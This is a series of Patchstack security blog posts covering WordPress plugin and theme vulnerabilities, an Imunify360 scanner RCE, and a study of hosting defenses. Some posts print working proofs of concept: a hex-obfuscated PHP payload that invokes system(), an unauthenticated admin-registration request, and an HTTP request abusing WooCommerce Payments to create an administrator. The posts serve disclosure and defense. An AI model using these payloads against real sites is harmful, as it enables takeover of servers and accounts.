check_ajax_referer( 'ajax-nonce', 'nonce' );
$option_name = isset( $_POST['option_name'] ) ? sanitize_text_field( wp_unslash( $_POST['option_name'] ) ) : '';
$option_val = isset( $_POST['option_val'] ) ? wp_unslash( $_POST['option_val'] ) : '';
if ( $option_name && $option_val ) {
update_option( $option_name, $option_val );
wp_send_json_success( array( 'message' => 'Option updated successfully.' ) );
} else {
wp_send_json_error( array( 'message' => 'Invalid option name.' ) );
}
}
In version 8.6.9.1, the vulnerability is mitigated with the addition of a current_user_can permissions check, ensuring that only legitimate, privileged users are allowed to use this AJAX action.

Nonce validation is essential for any site functionality that can cause changes, and a lack of nonce validation can lead to other vulnerabilities, such as CSRF attacks.
However, like the WordPress developer documentation says:
Nonces should never be relied on for authentication, authorization, or access control. Protect your functions using current_user_can() and always assume that nonces can be compromised.
Even when limited to only show to the correct users, a nonce is not a substitute for proper user validation, as the risk of compromise always exists. And when shown more broadly, such as in this case, it leads to a common problem in many WordPress components, where access control is only limited by who can click the View Page Source button and find a nonce hiding in there.
Privileged functionality should always be specifically validating permissions, and cannot just assume that only the correct users will have the needed nonce.
🤝 You can help us make the Internet a safer place
Streamline your disclosure process to fix vulnerabilities faster and comply with CRA.
Get started for freeProtect your users too! Improve server health and earn added revenue with proactive security.
Patchstack for hostsReport vulnerabilities to our gamified bug bounty program to earn monthly cash rewards.
Learn moreThe post Privilege Escalation Vulnerability in Soledad Theme Affecting 50k+ Sites appeared first on Patchstack.
]]>The post Critical: Remote Code Execution via Malicious Obfuscated Malware in Imunify360 AV (AI-bolit) appeared first on Patchstack.
]]>Update (Nov 14)
In addition to the documented RCE via the file-scanner deobfuscation logic, the database scanner (imunify_dbscan.php) was also vulnerable, and vulnerable in the exact same way.
This means:
This makes the issue far more severe than initially understood, because:
The following schedule scan will trigger the exploit:
php imunify_dbscan.php --host=127.0.0.1 --login=user --password='password' --database=wordpress --scan --report-file=/tmp/dbscan_test.json
Based on our review of this vulnerability , we consider the CVSS score to be: 9.9
Recently a critical Remote Code Execution issue was patched in the Imunify360 AV product. Imunify360 serves up to 56 million websites. Hosting companies should patch the issue immediately.
This vulnerability has been known since late October, and customers began receiving notifications shortly thereafter, and we advise affected hosting providers to reach out to the vendor for additional information on possible exploitation in the wild or any internal investigation results.
Unfortunately there has been no statement released about the issue by Imunify360’s team, and no CVE has yet been assigned. At the same time, the issue has been publicly available on their Zendesk since November 4, 2025.
Recently a remote code execution via malware execution vector was discovered in the imunify360AV (AI-bolit) version prior to v32.7.4.0. The vulnerability stems from the deobfuscation logic executing untrusted functions and payloads extracted from attacker supplied malware. An attacker-controlled payload can cause the deobfuscator to call dangerous PHP functions (for example system, exec, shell_exec, passthru, eval, etc.), resulting in arbitrary command execution and full compromise of the hosting environment.
A few other issues were patched. Here we describe one of the most critical.
Remote attackers can embed specifically crafted obfuscated PHP that matches imunify360AV (AI-bolit) deobfuscation signatures. The deobfuscator will execute extracted functions on attacker-controlled data, allowing execution of arbitrary system commands or arbitrary PHP code. Impact ranges from website compromise to full server takeover depending on hosting configuration and privileges.
Detection is non-trivial because the malicious payloads are obfuscated (hex escapes, packed payloads, base64/gzinflate chains, custom delta/ord transformations) and are intended to be deobfuscated by the tool itself.
imunify360AV (Ai-Bolit) is a malware scanner specialized in website-related files like php/js/html. By default, the scanner is installed as a service and works with a root privileges
Shared hosting escalation: On shared hosting, successful exploitation can lead to privilege escalation and root access depending on how the scanner is deployed and its privileges. if imunify360AV or its wrapper runs with elevated privileges an attacker could leverage RCE to move from a single compromised site to complete host control.
imunify360AV (Ai-Bolit) includes heuristics and deobfuscators to try to convert obfuscated/malicious PHP into readable code. Two problematic flows were identified:
$data = "test";
$var1 = "\x73\x79\x73\x74\x65\x6d"; // "system"
$var2 = "\x74\x6f\x75\x63\x68..."; // arguments / command
$var3 = "\x70\x61\x63\x6b"; // "pack"
eval("$var3"($var2));
Both flows rely on Helpers::executeWrapper, which wraps call_user_func_array inside a try/catch and returns the function result. There is no validation that the function being invoked is safe, so if the attacker provides system, exec, shell_exec, eval, assert, etc., those functions will be executed.
The exploit requires the imunify360AV scanner to perform active deobfuscation during analysis. In practice this means running the scanner with the -y / --deobfuscate option enabled. Example invocation used during triage
php ai-bolit.php -y -j malware_exploit.php
By default imunify360AV (AI-bolit) php CLI appears to disable deep deobfuscation. The codebase contains a guard that sets deobfuscation off unless explicitly enabled:
if (!defined('AI_DEOBFUSCATE')) {
define('AI_DEOBFUSCATE', false);
}
[...]
if (isset($options['deobfuscate']) || isset($options['y'])) {
define('AI_DEOBFUSCATE', true);
However, after checking how imunify360 AV calls the scanner wrapper we noticed the following:
./imav/malwarelib/scan/ai_bolit/scanner.py
def _cmd(
self,
filename,
intensity_ram,
progress_path,
*,
scan_type: str,
# ... parameters ...
):
cmd = [
"/opt/ai-bolit/wrapper",
AIBOLIT_PATH,
"--smart",
"--deobfuscate", # ALWAYS ENABLED!
"--avdb",
MalwareSignatures.AI_BOLIT_HOSTER,
"--no-html",
"--memory",
get_memory(intensity_ram),
# ...
]
It means deobfuscation is always called, making this issue even more critical. This is used for all scan types:
<?php
$data = "test";
$payload = "\x73\x79\x73\x74\x65\x6d"("\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x33\x33\x74\x2e\x74\x78\x74\x20\x26\x26\x20\x65\x63\x68\x6f\x20\x22\x44\x45\x46\x2d\x33\x36\x37\x38\x39\x22\x20\x3e\x20\x2f\x74\x6d\x70\x2f\x6c\x33\x33\x74\x2e\x74\x78\x74");
eval("\x70\x61\x63\x6b"($payload));
?>
Run the scanner on the poc.php. This will create a file in the tmp directory.
php ai-bolit.php -y -j poc.php
The root cause is the execution of untrusted function names and payloads during deobfuscation. The correct fix is to never call untrusted functions extracted from arbitrary files. Instead, deobfuscation should be performed in a purely syntactic way (string unescaping, safe decoding) without executing recovered functions.
The patch adds validation before executing any discovered function. This validation white list only only pure decoding, deterministic functions:
public static function isSafeFunc($func) {
$safeFuncs = [
'base64_decode','gzinflate','strrev','str_rot13','urldecode','substr','chr','ord',
];
return in_array(strtolower($func), $safeFuncs, true);
}
At the time of publication, CloudLinux (the vendor behind Imunify360 and Ai-Bolit) has not issued a formal security advisory or coordinated disclosure through CVE channels. The only public mention of this issue appears in a short Zendesk article. A previous case in 2021 also exposed a critical remote code execution vulnerability within Imunify360, underscoring the need for stronger vendor transparency and proactive public advisories in future incidents.
Immediate: If you run imunify360AV (AI-bolit) any version prior to v32.7.4.0, apply vendor-supplied security updates or remove the tool until patched.
If you cannot patch immediately: restrict the imunify360AV (AI-bolit) execution environment (run in an isolated analysis VM/container with no network/filesystem access and minimal privileges).
Administrators should also contact CloudLinux / Imunify360 support to report potential exposure and confirm whether their environment has been affected. The vendor can provide information on detection of exploitation attempts, updated signatures, and post-incident guidance. Collaborative verification with the vendor is critical to assess whether this issue has been exploited in the wild and to ensure that all affected installations receive the proper security updates.

The post Critical: Remote Code Execution via Malicious Obfuscated Malware in Imunify360 AV (AI-bolit) appeared first on Patchstack.
]]>The post PHP Object Injection Vulnerability in MediCenter Theme Affecting 10k+ Sites appeared first on Patchstack.
]]>This blog post is about an unauthenticated PHP object injection vulnerability in the MediCenter theme. If you're a MediCenter theme user, please update the plugin to version 15.2.
The vulnerabilities mentioned here were discovered and reported by Patchstack Alliance community member Aiden.
✌️ Our users are protected from this vulnerability. Are yours?
Identify vulnerabilities in your plugins and get recommendations for fixes.
Request auditProtect your users, improve server health and earn additional revenue.
Patchstack for hostsThe MediCenter theme, which has over 10,000 active installations, allows site owners to create feature-rich healthcare websites, from veterinary and maternity clinics to dental care, physiotherapy, and more.

In versions 15.1 and below, the theme is vulnerable to a PHP object injection, which allows any unauthenticated attacker to inject arbitrary PHP objects for deserialization. The vulnerability has been patched in version 15.2 and is tracked with CVE-2025-54014.
The root cause of the issue lies in the mc_theme_gallery_shortcode function:
function mc_theme_gallery_shortcode($atts, $content='', $tag='medicenter_gallery')
{
global $themename;
global $post;
if(isset($_GET["atts"]))//$_GET["action"]=="theme_" . $atts['shortcode_type'] . "_pagination")
$atts = unserialize(stripslashes($_GET["atts"]));
extract(shortcode_atts(array(
"shortcode_type" => "",
"header" => "",
"animation" => 0,
"order_by" => "title menu_order",
"order" => "ASC",
"style" => "default",
"type" => "list_with_details",
"layout" => "gallery-4-columns",
"featured_image_size" => "default",
"hover_icons" => 1,
"title_box" => 1,
"details_page" => "",
"display_method" => "dm_filters",
"all_label" => "",
"id" => "",
"autoplay" => 0,
"pause_on_hover" => 1,
"scroll" => 1,
"effect" => "scroll",
"easing" => "swing",
"duration" => 500,
"items_per_page" => 4,
"ajax_pagination" => 1,
"category" => "",
"ids" => "",
"display_headers" => 1,
"headers_type" => "h2",
"display_social_icons" => 1,
"images_loop" => 0,
"el_class" => "",
"top_margin" => "none"
), $atts));
The function takes the user input from $_GET["atts"] and after applying stripslashes(), it is calling unserialize() without any checks or prevention for object injection and assigns it to $atts.
Although the vulnerable function is defined inside the theme, the action that calls on this function is defined as nopriv in the medicenter_galleries plugin, which is a plugin that is required for the theme functionality.
add_action("wp_ajax_theme_gallery_pagination", "mc_theme_gallery_shortcode");
add_action("wp_ajax_nopriv_theme_gallery_pagination", "mc_theme_gallery_shortcode");
In version 15.2, the vulnerability is mitigated the vulnerability is mitigated by the vendor inside the same unserialize call by using ['allowed_classes' => false] argument that prevents invoking arbitrary objects.

It is strongly suggested never to use the unserialize function unless absolutely necessary. Alternatives such as the json_decode function could be used to process the data. The best practice is always to use ['allowed_classes' => false] with unserialize If it is unavoidable to use.
Explore our Academy to master the art of finding and patching vulnerabilities within the WordPress ecosystem. Dive deep into detailed guides on various vulnerability types, from discovery tactics for researchers to robust fixes for developers. Join us and contribute to our growing knowledge base.
🤝 You can help us make the Internet a safer place
Streamline your disclosure process to fix vulnerabilities faster and comply with CRA.
Get started for freeProtect your users too! Improve server health and earn added revenue with proactive security.
Patchstack for hostsReport vulnerabilities to our gamified bug bounty program to earn monthly cash rewards.
Learn moreThe post PHP Object Injection Vulnerability in MediCenter Theme Affecting 10k+ Sites appeared first on Patchstack.
]]>The post Two Critical Vulnerabilities in WordPress King Addons for Elementor Plugin Affecting 10k+ Sites appeared first on Patchstack.
]]>Unauthenticated File Upload
Unauthenticated Privilege Escalation
This blog post is about two critical unauthenticated vulnerabilities in the King Addons for Elementor plugin. If you're a King Addons for Elementor user, please update the plugin to the latest version 51.1.37.
✌️ Our users are protected from this vulnerability. Are yours?
Identify vulnerabilities in your plugins and get recommendations for fixes.
Request auditProtect your users, improve server health and earn additional revenue.
Patchstack for hostsThe plugin King Addons for Elementor, which has over 10k active installations, is a more popular Elementor extension for WordPress.

The plugin is a feature-rich extension for the Elementor page builder that adds dozens of pre-built widgets, templates and user-facing tools to help site owners build richer, interactive pages without custom coding. Commonly used to create contact and file-upload forms, pricing tables, sliders, team/member sections, countdowns, social-login and register/login forms, and other UI components, the plugin speeds up design work and provides non-developers with flexible layout and functionality options.
Affected versions contain two unauthenticated critical vulnerabilities:
Both vulnerabilities are trivially exploitable under common configurations and require no authentication. Immediate patching is strongly recommended.
The plugin registers an unauthenticated AJAX handler in : /includes/widgets/Form_Builder/helpers/Upload_Email_File.php
add_action('wp_ajax_nopriv_king_addons_upload_file', [$this, 'handle_file_upload']);
The handler attempts a nonce check:
if (!isset($_POST['king_addons_fb_nonce']) || !wp_verify_nonce($_POST['king_addons_fb_nonce'], 'king-addons-js')) {
wp_send_json_error(['message' => esc_html__('Security check failed.', 'king-addons')]);
}
However, the nonce is exposed to every visitor through localized script data:
wp_localize_script(KING_ADDONS_ASSETS_UNIQUE_KEY . '-form-builder-script', 'KingAddonsFormBuilderData', [
'ajaxurl' => admin_url('admin-ajax.php'),
'nonce' => wp_create_nonce('king-addons-js'),
]);
Since this nonce is included in every page load, any unauthenticated attacker can retrieve it and perform the upload request successfully.
Also, the method file_validity() incorrectly returns a non-empty string instead of false for invalid file types, breaking the intended validation:
if (!wp_check_filetype($file['name'])['ext']) {
return 'mailto:[email protected]?subject=Bug Report - King Addons&body=Please describe the issue';
}
Together with the possibility to send any list of allowed files via the allowed_file_types parameter, unwanted file types are uploaded under wp-content/uploads/king-addons/forms/
Located in includes/widgets/Login_Register_Form/Login_Register_Form_Ajax.php, the plugin’s registration handler allowed client-supplied roles:
// Vulnerable code
if (!empty($user_role) && $user_role !== 'subscriber') {
$user_data['role'] = $user_role;
}
$user_id = wp_insert_user($user_data);
An unauthenticated attacker could register a new account by posting:
action=king_addons_user_register[&extra_data]&user_role=administrator
For the unauthenticated file upload, fixed fully in version 51.1.37, the patch introduces two key security improvements in the handle_file_upload() function:
The upload handler now verifies that the user has the proper permission (upload_files) before continuing. This prevents unauthenticated or low-privilege users from invoking the endpoint.
The developer replaced the placeholder “mailto” fallback with a strict wp_check_filetype() validation. If the file type is invalid or unrecognized, the function now halts by returning false.
public function handle_file_upload() {
+ // Require authentication and capability
+ if (!current_user_can('upload_files')) {
+ wp_send_json_error(['message' => esc_html__('Insufficient permissions to upload files.', 'king-addons')]);
+ }
$file = $_FILES['uploaded_file'];
- if (!wp_check_filetype($file['name'])['ext']) {
- return 'mailto:[email protected]?subject=Bug Report - King Addons&body=Please describe the issue';
- }
+ // Proper filetype validation
+ $filetype = wp_check_filetype($file['name']);
+ if (empty($filetype['ext'])) {
+ return false;
+ }
}
[...]
For the privilege escalation, fixed in version 51.1.36, the vendor added a role allowlist and sanitized the input:
- $user_role = isset($_POST['user_role']) ? sanitize_text_field($_POST['user_role']) : 'subscriber';
+ // Security fix: restrict roles to safe options
+ $allowed_roles = ['subscriber', 'customer'];
+ $requested_role = isset($_POST['user_role']) ? sanitize_text_field($_POST['user_role']) : 'subscriber';
+ $user_role = in_array($requested_role, $allowed_roles, true) ? $requested_role : 'subscriber';
Explore our Academy to master the art of finding and patching vulnerabilities within the WordPress ecosystem. Dive deep into detailed guides on various vulnerability types, from discovery tactics for researchers to robust fixes for developers. Join us and contribute to our growing knowledge base.
🤝 You can help us make the Internet a safer place
Streamline your disclosure process to fix vulnerabilities faster and comply with CRA.
Get started for freeProtect your users too! Improve server health and earn added revenue with proactive security.
Patchstack for hostsReport vulnerabilities to our gamified bug bounty program to earn monthly cash rewards.
Learn moreThe post Two Critical Vulnerabilities in WordPress King Addons for Elementor Plugin Affecting 10k+ Sites appeared first on Patchstack.
]]>The post PHP Object Injection Patched in Quiz and Survey Master Plugin Affecting 40k+ Sites appeared first on Patchstack.
]]>This blog post is about an unauthenticated PHP object injection vulnerability in the Quiz and Survey Master plugin. If you're a Quiz and Survey Master plugin user, please update the plugin to version 10.2.6.
The vulnerabilities mentioned here were discovered and reported by Patchstack Alliance community member Phat RiO - BlueRock.
✌️ Our users are protected from this vulnerability. Are yours?
Identify vulnerabilities in your plugins and get recommendations for fixes.
Request auditProtect your users, improve server health and earn additional revenue.
Patchstack for hostsThe plugin Quiz and Survey Master, which has over 40,000 active installations, allows site owners to create quizzes, surveys, and forms in just a few clicks. It allows everything from fun trivia quizzes to in-depth customer satisfaction assessments, using a user-friendly drag-and-drop quiz maker interface.

In versions 10.2.5 and below, the plugin is vulnerable to a PHP object injection, which allows any unauthenticated attacker to inject arbitrary PHP objects for deserialization. The vulnerability has been patched in version 10.2.6 and is tracked with CVE-2025-49401.
The root cause of the issue lies in the qsm_questions_answers_shortcode_to_text function:
function qsm_questions_answers_shortcode_to_text( $mlw_quiz_array, $qmn_question_answer_template, $questions, $qmn_questions, $answer, $qsm_question_cnt, $total_question_cnt ) {
global $mlwQuizMasterNext, $qmn_total_questions;
$question_types = $mlwQuizMasterNext->pluginHelper->get_question_type_options();
$quiz_options = $mlwQuizMasterNext->quiz_settings->get_quiz_options();
// TRIMMED
if ( ! empty( $_POST['quiz_answer_random_ids'] ) ) {
$answers_random = array();
$quiz_answer_random_ids = sanitize_text_field( wp_unslash( $_POST['quiz_answer_random_ids'] ) );
$quiz_answer_random_ids = qmn_sanitize_random_ids_data( $quiz_answer_random_ids );
if ( ! empty( $quiz_answer_random_ids[ $answer['id'] ] ) && is_array( $quiz_answer_random_ids[ $answer['id'] ] ) ) {
foreach ( $quiz_answer_random_ids[ $answer['id'] ] as $key ) {
$answers_random[ $key ] = $total_answers[ $key ];
}
}
$total_answers = $answers_random;
}
// TRIMMED
return wp_kses_post( $display );
}
The function takes the user input from $_POST['quiz_answer_random_ids'] as $quiz_answer_random_ids, and passes it to the qmn_sanitize_random_ids_data function.
function qmn_sanitize_random_ids_data( $qmn_sanitize_random_ids ) {
if ( is_string( $qmn_sanitize_random_ids ) ) {
if ( preg_match( '/^(O|C):\d+:/', $qmn_sanitize_random_ids ) ) {
return '';
}
if ( is_serialized( $qmn_sanitize_random_ids ) ) {
$unserialized = maybe_unserialize( $qmn_sanitize_random_ids );
if ( ! is_object( $unserialized ) && ! is_resource( $unserialized ) ) {
return $unserialized;
}
}
}
return $qmn_sanitize_random_ids;
}
The function basically checks if the passed input is serialized. If it's serialized, it unserializes the data with maybe_unserialize function and returns it.
The whole flow is called when processing the quiz answers, called by the hook wp_ajax_nopriv_qmn_process_quiz.
In version 10.2.6, the vendor patched the vulnerability by adding a new function qsm_safe_unserialize which properly unserializes the serialized data by using ['allowed_classes' => false] argument that prevents invoking arbitrary objects.


It is strongly suggested never to use the unserialize function unless absolutely necessary. Alternatives such as the json_decode function could be used to process the data. The best practice is always to use ['allowed_classes' => false] with unserialize if it is unavoidable to use.
Explore our Academy to master the art of finding and patching vulnerabilities within the WordPress ecosystem. Dive deep into detailed guides on various vulnerability types, from discovery tactics for researchers to robust fixes for developers. Join us and contribute to our growing knowledge base.
🤝 You can help us make the Internet a safer place
Streamline your disclosure process to fix vulnerabilities faster and comply with CRA.
Get started for freeProtect your users too! Improve server health and earn added revenue with proactive security.
Patchstack for hostsReport vulnerabilities to our gamified bug bounty program to earn monthly cash rewards.
Learn moreThe post PHP Object Injection Patched in Quiz and Survey Master Plugin Affecting 40k+ Sites appeared first on Patchstack.
]]>The post Q3 2025's Most Exploited WordPress Vulnerabilities and How Patchstack’s RapidMitigate Blocked Them appeared first on Patchstack.
]]>WordPress powers a huge portion of the web, and its extensibility (plugins, themes, and custom code) is both its strength and its greatest security risk. When vulnerabilities appear in popular plugins or in bespoke site code, attackers move quickly to exploit them; the real danger today is not obscure zero-days but known flaws left unpatched in production sites.
In controlled tests conducted by Patchstack, standard hosting defenses failed to stop most real-world WordPress exploits, with 87.8% of tested attacks bypassing host-level protections and only Patchstack’s RapidMitigate application-layer mitigation preventing full compromise.
That finding underlines a practical truth: perimeter defenses (network firewalls, edge WAFs, server hardening) are necessary, but they are not sufficient by themselves.
Many hosting providers and third-party tools do provide meaningful protection for generic threats (bot traffic, basic SQLi/XSS patterns, DDoS), yet WordPress-specific logic flaws, privilege escalation bugs, and certain file-handling vulnerabilities frequently slip through those controls. In the Patchstack tests, several hosts blocked few or none of the tested plugin exploits, leaving the application layer as the final and decisive line of defense.
Patchstack’s approach is to neutralize exploitation attempts at the application level through its RapidMitigate solution, deploying precise mitigation rules in real time to block exploit patterns until site owners can apply permanent fixes.
Last month alone, we designed and deployed more than 250 new mitigation rules in RapidMitigate to protect our clients from a variety of vulnerabilities, ensuring swift defences against emerging threats, all of that without having to wait for an official patch.
Here are now some of the most interesting vulnerabilities exploited this quarter:
Privilege Escalation Vulnerability
WordPress OttoKit (formerly SureTriggers) plugin <= 1.0.82 - Privilege Escalation Vulnerability (CVE-2025-27007)
Several thousands of attempts to exploit vulnerable versions of the plugin have been blocked since rule deployment.
Unauthenticated Arbitrary Plugin Installation Vulnerability
WordPress FunnelKit Automations plugin <= 3.5.3 - Unauthenticated Arbitrary Plugin Installation vulnerability (CVE-2025-1562)
This plugin, with an estimated 20K+ active users, was affected by a security flaw that allowed unauthenticated users to install arbitrary plugins, which could ultimately lead to a website takeover if a deliberately vulnerable plugin was installed.
Several thousands of attempts to exploit vulnerable versions of the plugin have been blocked since rule deployment.
WordPress Depicter Slider plugin <= 3.6.1 - Unauthenticated SQL Injection vulnerability (CVE- 2025-2011)
This vulnerability affecting the WordPress Depicter Slider plugin allowed unauthenticated attackers to inject extra SQL queries into regular ones and thereby obtain sensitive information stored in the database.
Several hundreds of attempts to exploit vulnerable versions of the plugin have been blocked since rule deployment.
Unauthenticated Local File Inclusion Vulnerability
WordPress Kubio AI Page Builder plugin <= 2.5.1 - Unauthenticated Local File Inclusion vulnerability (CVE-2025-2294)
Several hundreds of attempts to exploit vulnerable versions of the plugin have been blocked since vPatch deployment.
Attackers continue to exploit the same weaknesses quarter after quarter because too many sites remain unpatched or rely solely on generic hosting defenses. The lesson is clear: updates matter, but timing matters even more. Once a vulnerability is disclosed, adversaries are already weaponizing it, and waiting days or weeks to apply fixes leaves a dangerous gap.
Patchstack’s RapidMitigate close that gap by blocking exploitation attempts in real time, giving site owners the breathing room they need to update safely. Combined with disciplined practices (applying updates promptly, removing unused plugins, and monitoring for suspicious activity) this layered approach turns WordPress from an easy target into a resilient platform.
Staying one step ahead of attackers requires awareness, speed, and the right tools. Keep following our updates to know which vulnerabilities are being exploited right now, and how Patchstack can help you stop them before they cause damage.
🤝 You can help us make the Internet a safer place
Streamline your disclosure process to fix vulnerabilities faster and comply with CRA.
Get started for freeProtect your users too! Improve server health and earn added revenue with proactive security.
Patchstack for hostsReport vulnerabilities to our gamified bug bounty program to earn monthly cash rewards.
Learn moreThe post Q3 2025's Most Exploited WordPress Vulnerabilities and How Patchstack’s RapidMitigate Blocked Them appeared first on Patchstack.
]]>The post Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses appeared first on Patchstack.
]]>Are hosting companies’ standard network and server defenses enough to prevent exploits of WordPress vulnerabilities?
The world of open-source is fraught with misconceptions, particularly when it comes to cybersecurity. It’s not uncommon to hear even technical stakeholders claim that having a firewall and basic server-layer defenses is enough to protect users from WordPress vulnerability exploits.
Additionally, in the past few years, we’ve seen an increase in third-party providers who claim to offer virtual patching.
At Patchstack, virtual patching (vPatching) is part of the RapidMitigate system that combines:
… all to identify vulnerabilities and trigger virtual patches, AKA highly-targeted, dynamic mitigation rules that protect websites until site owners can safely resolve the vulnerabilities.
However, hosting companies often claim to offer secure WordPress hosting by including network firewalls such as Cloudflare or using server security solutions such as Imunify and Monarx. Today, we are putting these claims to the test to see if, besides network and server protection, applications like WordPress sites are secured as well.
Earlier this year, we released our annual security report in collaboration with Sucuri (security company owned by GoDaddy) where they shared statistics about 500,000 hacked websites in 2024. How is this possible when we see most hosting companies claim to provide "secure WordPress hosting"?
With this case study, we’ve tested the effectiveness of standard hosting environments, as well as two other providers of “virtual patching” to provide a definitive answer once and for all: which solution is the most qualified to block attacks against WordPress-specific vulnerabilities?
As we tested 11 vulnerabilities across five distinct hosting environments, we found that the attacks bypassed hosting companies’ existing security solutions in 87.8% of the cases, before reaching Patchstack’s application-layer solution, which successfully blocked them.
In this case study, we’ll go deeper into our methodology and the types of hosting environments tested.
As a baseline, we have decided to host test sites (sites against which we will perform controlled pentesting with a set of 11 WordPress-specific vulnerabilities) with 5 distinct hosting providers, some of which have ingrained features marketed as helping with security.
In addition to the hosting provider’s security measures and third-party providers for additional measures like robust WAFs or other patching providers, we have also installed Patchstack on every site, with our test question being:
How many of these threats will bypass firewalls and other third-party security tools providers to ultimately reach Patchstack? And will Patchstack be able to block them all successfully?

For our test, we chose 11 vulnerabilities. The criteria for selection were a combination of the affected component’s popularity, the severity of the vulnerability, public visibility, and whether the vulnerability was known to be exploited. Our guiding principle was to choose vulnerabilities that any reasonably good security solution could catch.
During selection, we expected that many traditional web application firewalls (WAFs) would be able to catch non-WordPress-specific vulnerabilities, such as Cross-Site Scripting (XSS) and SQL Injection (SQLi) vulnerabilities.
Therefore, the test placed heavy emphasis on PHP or WordPress-specific vulnerabilities, such as Broken Access Control (BAC) vulnerabilities, especially those resulting in Privilege Escalation.
Three of the chosen vulnerabilities were new and were included to see if behaviour-based firewalls would detect fresh threats.
For the sake of completeness, we have also included a selection of vulnerabilities not only specific to WordPress (e.g., PHP object injection, XSS, and SQL injection), as well as a broader range of application logic errors (e.g., Privilege Escalation).
PSID
Plugin
Version
Vulnerability type
Prerequisite
Each website was configured identically (same plugins on the same versions, same configuration options, etc). For this study, we built an exploitation testing toolkit, which ensured the same tests were applied in the same order to each site.
Final results were both automatically and manually reviewed to determine if the threats were blocked and whether they were blocked by the host's environment or by Patchstack. We also checked whether the claimed security solutions were active on that site.
Pattern based WAFs are known to be easily bypassed by different evasion techniques. In our testing, we wanted to make sure that we’ll be using the most obvious exploits without any evasion techniques.
As an example, we include the POC of the WooCommerce Payments vulnerability which is known to be widely exploited and published 2 years ago. In this test, only Patchstack RapidMitigate blocked this vulnerability.
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: application/json
Connection: keep-alive
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114
{"username": "honeypot", "email": "[email protected]", "password": "demo", "roles": ["administrator"]}
Hosting environment defenses failed: Patchstack blocked the remaining 87.8% of vulnerability attacks.
Traditional network and server layer defenses (as well as other providers claiming to offer vulnerability mitigation) failed to detect the exploitation attempts in time.
Previous lines of defense failed, leaving Patchstack to address them at the application layer. These were WordPress-specific vulnerabilities in popular categories that can have a significant impact on sites, as explained in our State of WordPress Security 2025 report.
In particular, we found that:
These results reaffirm the Swiss Cheese approach used by cybersecurity professionals, which states that each layer is best equipped to deal with threats specific to its layer.
For example, you shouldn’t rely on a generic WAF to try to block vulnerabilities, but it will do a great job of blocking bot traffic.
In this case, the network and server layers did not perform well against WordPress vulnerabilities, which are best mitigated by application-layer solutions like Patchstack.
However, our most surprising finding was related to the third-party patching providers. While both providers tested claimed to offer patching to mitigate vulnerabilities effectively, neither provider would prevent the exploits from occurring.
With just these solutions, the sites of these hosting companies’ users would have been compromised. Before enabling Patchstack’s protection, in every environment we tested, we were able to gain full administrative access to the target website.
The test site we registered with hosting provider A had the hosting provider’s ingrained security measures (SSL, anti-DDoS protection, anti-virus and anti-spam, and daily backups). We also installed Cloudflare’s WAF.
As an edge WAF, Cloudflare intercepts and examines all traffic destined for a web application, including requests and responses, using techniques such as rulesets and request scoring, to identify malicious traffic patterns and suspicious behavior.
Cloudflare claims that, based on its analysis, its WAF can block or mitigate attacks such as SQL injection, cross-site scripting (XSS), and cross-site request forgery (CSRF).
Our particular area of interest was that this type of WAF operates at the application layer, which is presumed to be the most effective at vulnerability mitigation.
Out of 11 plugin vulnerabilities we tested, this hosting provider’s Cloudflare WAF blocked 4 exploits (36.36%), which were:
These are the best results we’ve seen in the test.
However, the remaining 63,64% of vulnerabilities still reached Patchstack, meaning that Cloudflare did not block all the threats.
The next test site we registered with the hosting provider B.
Hosting provider B claims to offer secure and speedy website hosting, which includes:
Initially, we assumed their solution would be as effective as Patchstack at blocking vulnerabilities (CVEs).
This provider’s in-house WAF and Monarx blocked 0 vulnerabilities. 100% of attacks reached Patchstack’s real-time mitigation, which successfully stopped them.
Hosting provider C has a set of its in-house security measures:
Provider C also uses a third-party server security provider, Imunify360, which offers an artificial intelligence firewall for traffic monitoring (botnets blocked, IP reputation filtering, CAPTCHA), website monitoring (application-level DoS protection, request rate limit protection, and whitelist/blocklist filtering), and virtual patching.
Again, we took an interest in the effectiveness of their firewalls and Imunify’s patching, presuming it would block threats before they could reach Patchstack.
Provider C, with its firewall and Imunify, blocked only 1 vulnerability:
Other vulnerabilities passed the hosting defenses undetected and finally reached Patchstack, which successfully blocked them.
Hosting provider D offers “uncompromising security” with general measures, such as:
Upon setting up our site and running the pentesting against the 11 vulnerabilities, Hosting provider D, with its ConfigServer firewall, allowed all 11 vulnerability exploits to bypass the server and network layer protections.
Patchstack ultimately blocked all the vulnerabilities.
Finally, we decided to test a barebones hosting offer from a well-known company (Hosting Provider E) and their Mod Security ruleset to protect against DDoS attacks.
This hosting provider blocked 2 out of 11 vulnerabilities:
The rest bypassed all of their previous server and network layer security measures and reached Patchstack, which efficiently blocked them.
While some hosting environments did better with vulnerabilities not specific to the application layer (e.g., PHP object injection, XSS, SQLi), no hosting company, firewall, or patching platform other than Patchstack was equipped to handle WordPress and plugin-specific vulnerabilities.
Plugin
Provider A
Provider B
Provider C
Provider D
Provider E
DB Backup
PS
PS
PS
PS
PS
CSS & JavaScript Toolbox
PS
PS
PS
PS
WAF
GiveWP
WAF
PS
PS
PS
PS
Login and Logout Redirect
PS
PS
PS
PS
PS
Post SMTP
PS
PS
PS
PS
PS
Simple File List
PS
PS
PS
PS
PS
OttoKit
PS
PS
PS
PS
PS
TI WooCommerce Wishlist (Arbitrary File Upload)
WAF
PS
WAF
PS
PS
TI WooCommerce Wishlist (SQL Injection)
WAF
PS
PS
PS
WAF
WooCommerce Payments
PS
PS
PS
PS
PS
LiteSpeed Cache
WAF
PS
PS
PS
PS
PS - blocked by Patchstack
WAF - blocked by the provider
While regular hosting environment protection is adequate against broad threats, it often fails to detect vulnerabilities that are:
Because these vulnerabilities do not match generic WAF signatures or rulesets, they often slip past traditional defenses entirely, leaving hosting companies and their users with a false sense of security.
While solutions like Monarx and Imunify market patching or virtual patching as part of their offering, our testing revealed that these protections did not extend to WordPress and plugin-specific vulnerabilities.
One platform failed to block even the most generic exploits, while the other only stopped one. They left sites just as exposed as if the hosting providers had no protective measures in place.
This gap highlights the difference between broad, signature-based blocking and true application-specific mitigation, as offered by Patchstack.
